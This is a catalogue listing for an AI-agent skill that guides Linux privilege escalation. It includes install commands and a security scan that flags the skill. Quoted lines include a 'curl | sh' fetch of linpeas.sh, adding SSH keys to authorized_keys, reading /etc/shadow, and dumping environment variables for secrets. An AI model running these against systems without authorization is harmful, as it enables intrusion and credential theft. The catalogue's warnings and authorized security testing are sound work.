escalating-linux-privileges

escalating-linux-privileges is a skill for Claude Code, Codex from EvilFreelancer/secs. It costs 51 tokens per session (3,653 once invoked), scanned F, a copy of escalating-linux-privileges, Apache-2.0.

A Linux security guide for finding and exploiting ways to gain higher permissions on a system, including through SUID programs, sudo settings, scheduled jobs, kernel flaws, and container escapes.

In plain words
What is it for?
Performing Linux privilege-escalation assessments, including checking misconfigurations, vulnerable binaries, capabilities, scheduled tasks, kernel exploits, and container boundaries.
Why use it?
It describes methods for moving from limited access to administrator-level access during authorized security work.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/evilfreelancer/secs/escalating-linux-privileges
Any agent
npx skills add EvilFreelancer/secs --skill escalating-linux-privileges
Clone the repo
git clone --depth 1 https://github.com/EvilFreelancer/secs

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for escalating-linux-privileges

README.md
[![agentmods](https://agentmods.dev/badge/skills/evilfreelancer/secs/escalating-linux-privileges.svg)](https://agentmods.dev/skills/evilfreelancer/secs/escalating-linux-privileges)
Your own site
<a href="https://agentmods.dev/skills/evilfreelancer/secs/escalating-linux-privileges"><img src="https://agentmods.dev/badge/skills/evilfreelancer/secs/escalating-linux-privileges.svg" alt="Measured on agentmods" height="20"></a>
Per session 51 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 3,653 The whole file, excluding the scripts and references it only reads on demand.
Security scan F 4 findings. Scan, not verified.
Origin 92% copy Near-identical to another mod in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00051 $0.03653
Opus 5 $0.00026 $0.01826
Sonnet 5 $0.00010 $0.00731
Haiku 4.5 $0.00005 $0.00365

Measured 4d ago against content hash 8f189b53e570, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade F, and why

escalating-linux-privileges scanned grade F with 4 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Asks for rootmediumPrivilege escalation

A mod that escalates privileges can change anything on the machine, not only the project.

description: Escalate privileges on Linux systems using SUID/SGID binaries, capabilities, sudo misconfigurations, cron jobs, kernel exploits, and container escapes. Use when performing Linux post-exploitation or privileg

Reaches for credential fileshighPrivilege escalation

SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.

# ~/.ssh/authorized_keys - add SSH key

Downloads and executes remote codehighSupply chain

curl | sh runs whatever the server returns today, which is not necessarily what it returned when this was reviewed.

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
Origin

This is a copy

92% identical to escalating-linux-privileges — 6 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.

.agents/skills/escalating-linux-privileges/SKILL.md · 440 lines

How it starts

The opening of the file, as written. The whole thing — 440 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Linux Privilege Escalation Skill

You are a Linux security expert specializing in privilege escalation techniques. Use this skill when the user requests help with:

  • Escalating privileges on Linux systems
  • Identifying misconfigurations and vulnerabilities
  • Exploiting SUID/SGID binaries
  • Abusing Linux capabilities
  • Kernel exploitation
  • Container escape techniques
  • Sudo misconfigurations and bypasses
  • Cron job exploitation
  • Path hijacking attacks

When to Use

Activate this skill when the user asks to:

  • Escalate privileges on a Linux system
  • Enumerate Linux privilege escalation vectors
  • Exploit SUID binaries or capabilities
  • Abuse sudo misconfigurations
  • Escape from containers
  • Identify kernel exploits
  • Find and exploit cron job weaknesses
  • Analyze Linux security misconfigurations

When NOT to Use

  • Windows hosts — use escalating-windows-privileges
  • Container escapes — use container-security
  • Keeping the access you gained — use establishing-persistence
  • Analyzing a compromised host as a defender — use responding-to-incidents

Core Methodologies

1. Initial System Enumeration

System Information:

# OS and kernel version
cat /proc/version
uname -a
lsb_release -a
cat /etc/os-release

# Check for kernel exploits
searchsploit "Linux Kernel $(uname -r)"
uname -r

# CPU and system stats
lscpu
cat /proc/cpuinfo
df -h

Current User Context:

# Who am I?
id
whoami
groups
sudo -l

# Environment variables (passwords, API keys?)
env
set
cat /proc/self/environ | tr '\0' '\n'

# Check PATH for hijacking opportunities
echo $PATH

Users and Groups:

# All users
cat /etc/passwd
cat /etc/passwd | grep -v "nologin\|false" | cut -d: -f1

# Users with bash
cat /etc/passwd | grep "/bin/bash"

# User details
cat /etc/shadow  # If readable
cat /etc/group

# Home directories
ls -la /home/

2. Sudo Exploitation

Check Sudo Permissions:

# What can I run as root?
sudo -l

# Check sudo version for known vulns
sudo -V
sudo --version

Read the full file on GitHub · 440 lines

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 4d ago First seen · 440 lines · 51 tokens per session scan F 8f189b53e570

Subscribe to this mod's changes

escalating-linux-privileges is a skill published in the GitHub repository EvilFreelancer/secs (10 stars, last pushed 26d ago), licensed Apache-2.0. It adds 51 tokens to every session and 3,653 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it F with 4 findings (asks for root, reaches for credential files, downloads and executes remote code). It is 92% identical to escalating-linux-privileges, differing in 6 lines, and is treated as a copy.

Related

Other skills, from other repositories

Blue Team Defense & Hardening

System hardening, detection engineering, security baseline monitoring, patch management, defense-in-depth architecture, and security posture improvement.

Masriyan/Claude-Code-CyberSecurity-Skill · 30 tokens

wave-issue-coverage

For each DRAFT requirement in a given Ground Control wave (or all waves), ensure a GitHub issue covers it and is bidirectionally linked. Use when the user asks to "cover wave N requirements with issues", "back-fill issues for draft requirements", or similar. Requires the Ground Control MCP and gh CLI.

Brad-Edwards/aptl · 72 tokens

ship

Ship current branch — CI, SonarCloud, code review, security review, fix all issues, merge. Assumes code is already committed and pushed.

Brad-Edwards/aptl · 33 tokens

create-huntable-agent

Add a new extraction sub-agent to Huntable CTI Studio as a first-class peer of CmdlineExtract, ProcTreeExtract, HuntQueriesExtract, RegistryExtract, ServicesExtract, and ScheduledTasksExtract. Use this skill whenever the user asks to "add a new agent", "create a sub-agent", "wire up a new extractor", "add a new…

dfirtnt/Huntable-CTI-Studio · 129 tokens

codebase-test-trueup

Audit test coverage gaps and generate unit tests to close them. Use when the user says "test trueup", "coverage gaps", "test coverage audit", "fill coverage", "write missing tests", "backfill tests", "scope tests", "test what I changed", or any request to identify and fill test gaps. Three modes: audit (report only)…

dfirtnt/Huntable-CTI-Studio · 96 tokens

cut-release

Interactive walkthrough for cutting a new release of Huntable CTI Studio. Use this skill whenever the user says "cut a release", "ship a release", "tag a version", "bump the version", "new release", "do the release", "release vX.Y.Z", "ship v5.4.0", "time to release", or otherwise signals they want to move code from…

dfirtnt/Huntable-CTI-Studio · 136 tokens